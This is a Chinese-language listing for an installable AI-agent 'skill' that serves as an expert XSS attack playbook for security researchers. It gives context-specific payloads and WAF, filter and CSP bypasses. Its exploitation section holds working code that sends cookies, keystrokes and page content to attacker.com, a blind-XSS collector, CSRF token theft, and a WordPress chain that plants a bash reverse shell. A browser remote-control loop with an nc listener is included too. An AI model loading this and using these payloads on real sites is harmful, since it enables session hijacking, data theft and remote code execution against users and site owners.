关于 xss-cross-site-scripting
面向安全研究人员的高级 XSS 手册,侧重按上下文选择测试方式、绕过过滤和 CSP,以及后续利用路径;配套文件介绍更多场景与技巧。
主要功能
- 01按上下文选择载荷
- 02多处反射与存储型 XSS
- 03CSP 和过滤绕过方法
- 04盲 XSS 测试
- 05后续利用技术
适用场景
- 01评估网页中的反射输入
- 02测试管理界面中的存储内容
- 03调查受 CSP 限制的注入
- 04检查字段是否存在盲 XSS
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill xss-cross-site-scripting安装后在 Claude Code 中输入/xss-cross-site-scripting确认已加载。
附带文件ADVANCED_XSS_TRICKS.mdSCENARIOS.md
详细介绍
技能:跨站脚本攻击(XSS)— 专家攻击手册
AI 加载说明:本技能涵盖不易察觉的 XSS 技巧、针对特定上下文选择载荷、WAF 绕过、CSP 绕过和利用后操作。假设读者已经了解
<script>alert(1)</script>——本文只涵盖基础模型通常会忽略的内容。如需了解真实世界的 CVE 案例、HttpOnly 绕过策略、XS-Leaks 侧信道和会话固定攻击,请加载配套的 SCENARIOS.md。
0. 相关路由
扩展场景
遇到以下情况时,也请加载 SCENARIOS.md:
- Django 调试页面 XSS(CVE-2017-12794)——重复键错误 → 未转义异常 → XSS
- 适用于旧版 IE 环境的 UTF-7 XSS(
+ADw-script+AD4-) - HttpOnly 绕过方法——代理浏览器、会话搭乘、通过 XSS 发起 CSRF
- XS-Leaks 侧信道攻击——计时预言机、缓存探测、
performance.now()测量 - 通过 XSS 实现会话固定——在受害者登录前预先设置会话 ID
- 适用于 CSP 限制环境的 DOM 混淆技术
高级技巧
遇到以下情况时,也请加载 ADVANCED_XSS_TRICKS.md:
- mXSS / DOMPurify 绕过——命名空间混淆、
<noscript>解析差异、表单/表格重构 - DOM 混淆——通过
id/name覆盖属性、HTMLCollection、深层属性链 - 现代框架 XSS——React
dangerouslySetInnerHTML、Vuev-html、AngularbypassSecurityTrust*、Next.js SSR - Trusted Types 绕过——滥用默认策略、非 TT 接收点、策略透传
- Service Worker XSS 持久化——恶意 SW 注册、拦截 fetch、补丁更新后仍然存活
- PDF/SVG/MathML XSS 向量、多态载荷、浏览器特定技巧
- XS-Leaks 和侧信道——计时预言机、帧计数、缓存探测、错误事件预言机
在大范围投放载荷前,可以先加载:
- 当你需要了解完整的上传流程(验证、存储、预览和共享行为)时,请加载 上传不安全文件
快速上下文选择
| 上下文 | 首选 | 备用 |
|---|---|---|
| HTML 正文 | <svg onload=alert(1)> | <img src=1 onerror=alert(1)> |
| 带引号的属性 | " autofocus onfocus=alert(1)// | " onmouseover=alert(1)// |
| JavaScript 字符串 | '-alert(1)-' | '</script><svg onload=alert(1)> |
| URL / href 接收点 | javascript:alert(1) | data:text/html,<svg onload=alert(1)> |
类似 title 的标签正文 | </title><svg onload=alert(1)> | </textarea><svg onload=alert(1)> |
| SVG / XML 接收点 | <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> | XHTML 命名空间载荷 |
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>
1. 注入上下文矩阵
先识别上下文,再选择载荷。上下文不匹配 = 白费功夫。
| 上下文 | 指示特征 | 起始内容 | 载荷 |
|---|---|---|---|
| 标签外的 HTML | <b>INPUT</b> | <svg onload= | <svg onload=alert(1)> |
| HTML 属性值 | value="INPUT" | 用 " 结束属性 | "onmouseover=alert(1)// |
| 行内属性,无法闭合标签 | 带引号,已剥除 > | 事件注入 | "autofocus onfocus=alert(1)// |
| 块级标签(title/script/textarea) | <title>INPUT</title> | 先闭合标签 | </title><svg onload=alert(1)> |
| href / src / data / action | 链接或表单 | 协议 | javascript:alert(1) |
| JS 字符串(单引号) | var x='INPUT' | 结束字符串 | '-alert(1)-' 或 '-alert(1)// |
| 带转义的 JS 字符串 | 反斜杠转义 | 双重转义 | \'-alert(1)// |
| JS 逻辑块 | 位于 if/函数内部 | 闭合后注入 | '}alert(1);{' |
| 页面任意位置的 JS | <script>...INPUT | 结束 script | </script><svg onload=alert(1)> |
XML 页面(text/xml) | XML 内容类型 | XML 命名空间 | <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> |
2. 多处反射攻击
当输入在同一页面的多个位置反射时,单个载荷即可从所有位置触发:
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
p=<svg/1='&q='onload=alert(1)>
3. 高级注入向量
DOM 插入注入(反射出现在 DOM 中而非源代码中)
通过 .innerHTML、document.write、jQuery .html() 插入输入内容:
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
对于由 URL 控制的资源插入:
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
PHP_SELF 路径注入
当 URL 本身反射在表单 action 中时:
https://target.com/page.php/"><svg onload=alert(1)>?param=val
在 .php 和 ? 之间注入,并使用前导 /。
文件上传 XSS
文件名注入(反射出文件名时):
"><svg onload=alert(1)>.gif
SVG 上传(允许上传 SVG 的图像上传导致存储型 XSS):
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
元数据注入(反射出 EXIF 时):
exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg
postMessage XSS(未检查来源)
当页面使用 window.addEventListener('message', ...),但未验证来源时:
<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">
postMessage 来源绕过
当确实检查了来源,但使用 .includes() 或前缀匹配时:
http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>
攻击者控制 facebook.com.ATTACKER.com 子域名。
基于 XML 的 XSS
响应的类型为 text/xml 或 application/xml:
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>
无需闭合标签的脚本注入
当页面后续确实有 </script> 标签时:
<script src=data:,alert(1)>
<script src=//attacker.com/1.js>
4. CSP 绕过技术
JSONP 端点绕过(允许列表中的域名有 JSONP)
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>
AngularJS CDN 绕过(允许列表中有 ajax.googleapis.com)
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>
Angular 表达式(服务器对 HTML 编码,但 AngularJS 会进行求值)
当页面上的 {{1+1}} 求值结果为 2 时——这是 CSTI 的典型迹象:
// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
base-uri 注入(CSP 未限制 base-uri)
<base href="https://attacker.com/">
相对 <script src=...> 会从攻击者的服务器加载。
通过悬空标记实现基于 DOM 的攻击
当 CSP 阻止脚本但允许 img 时:
<img src='https://attacker.com/log?
将页面后续内容泄露给攻击者。
5. 过滤器和 WAF 绕过
参数名称攻击(WAF 检查值而非名称)
当参数名称会被反射时(例如,在 JSON 输出中):
?"></script><base%20c%3D=href%3Dhttps:\mysite>
有效载荷是参数名称,而非值。
编码链
%253C → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tag
测试顺序:反射 → 编码行为 → 识别过滤逻辑 → 变换。
标签变形(绕过黑名单)
<ScRipt> ← case variation
</script/x> ← trailing garbage
<script ← incomplete (relies on later >)
<%00iframe ← null byte
<svg/onload= ← slash instead of space
分段注入(绕过标签剥离)
过滤器会剥离 <x>...</x>:
"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
不使用事件处理程序的向量
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<math><brute href=javascript:alert(1)>click
6. 二阶 XSS
定义:输入会被存储(通常经过规范化或 HTML 编码),之后再被取回并插入 DOM,且未重新编码。
典型触发有效载荷(绕过即时 HTML 编码):
<svg/onload=alert(1)>
检查:个人资料字段、显示名称、论坛帖子——任何数据被存储后,又在不同上下文中重新呈现的地方(例如,管理面板与面向用户的页面)。
存储型 → 管理员上下文 XSS:影响通常最大——使用精心构造的用户名注册,然后等待管理员查看用户列表。
7. 盲 XSS 方法
每个未立即反射的参数都应测试盲 XSS:
- 联系表单、反馈字段
- User-Agent / Referer
- 注册字段
- 错误日志注入
盲 XSS 回连有效载荷(远程 JS 文件方案):
"><script src=//attacker.com/bxss.js></script>
最小收集器(托管于 bxss.js):
var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));
使用 XSS Hunter 或类似的盲 XSS 平台进行自动收集。
8. XSS 利用链
窃取 Cookie
fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation instead
键盘记录器
document.onkeypress = function(e) {
fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}
通过 XSS 发起 CSRF(绕过 CSRF 防护,从 DOM 读取 CSRF 令牌)
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('[email protected]&csrf='+token);
WordPress XSS → RCE(管理员会话 + Hello Dolly 插件):
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }
浏览器远程控制(JS 命令 shell)
// Injected into victim:
setInterval(function(){
with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)
# Attacker listener:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
9. 决策树
Test XSS entry point
├── Input reflected in response?
│ ├── YES → Identify context (HTML / JS / attr / URL)
│ │ → Select context-appropriate payload
│ │ → If blocked → check filter behavior
│ │ │ → Try encoding, case mutation, fragmentation
│ │ │ → Check if parameter NAME is reflected (WAF gap)
│ │ └── Success → escalate (cookie steal / CSRF / RCE)
│ └── NO → Is it stored? → Inject blind XSS payload
│ Is it in DOM? → Check JS source for unsafe sinks
│ (innerHTML, eval, document.write, location.href)
└── CSP present?
├── Check for JSONP endpoints on allow-listed domains
├── Check for AngularJS on CDN allow-list
├── Check for base-uri missing → <base> injection
└── Check for unsafe-eval or unsafe-inline exceptions
10. XSS 测试流程(ZSEANO 方法)
- 步骤 1 — 测试无恶意标签:
<h2>、<img>、<table>——它们会未经处理地反射吗? - 步骤 2 — 测试不完整标签:
<iframe src=//attacker.com/c=(没有结束的>) - 步骤 3 — 编码探测:
<%00h2、%0d、%0a、%09、%253C - 步骤 4 — 如果过滤了
<script>和onerror,但没有过滤<script(没有结束符):<script src=//attacker.com?c= - 步骤 5 — 黑名单检查:
<svg>能用吗?<ScRiPt>能用吗? - 注意:相同的过滤器可能也存在于其他地方——如果搜索中会过滤
<script>,文件上传文件名中也会过滤吗?个人资料简介中呢?
关键见解:存在过滤器 = 存在漏洞,开发者曾尝试修复。沿着这条线索检查整个应用程序。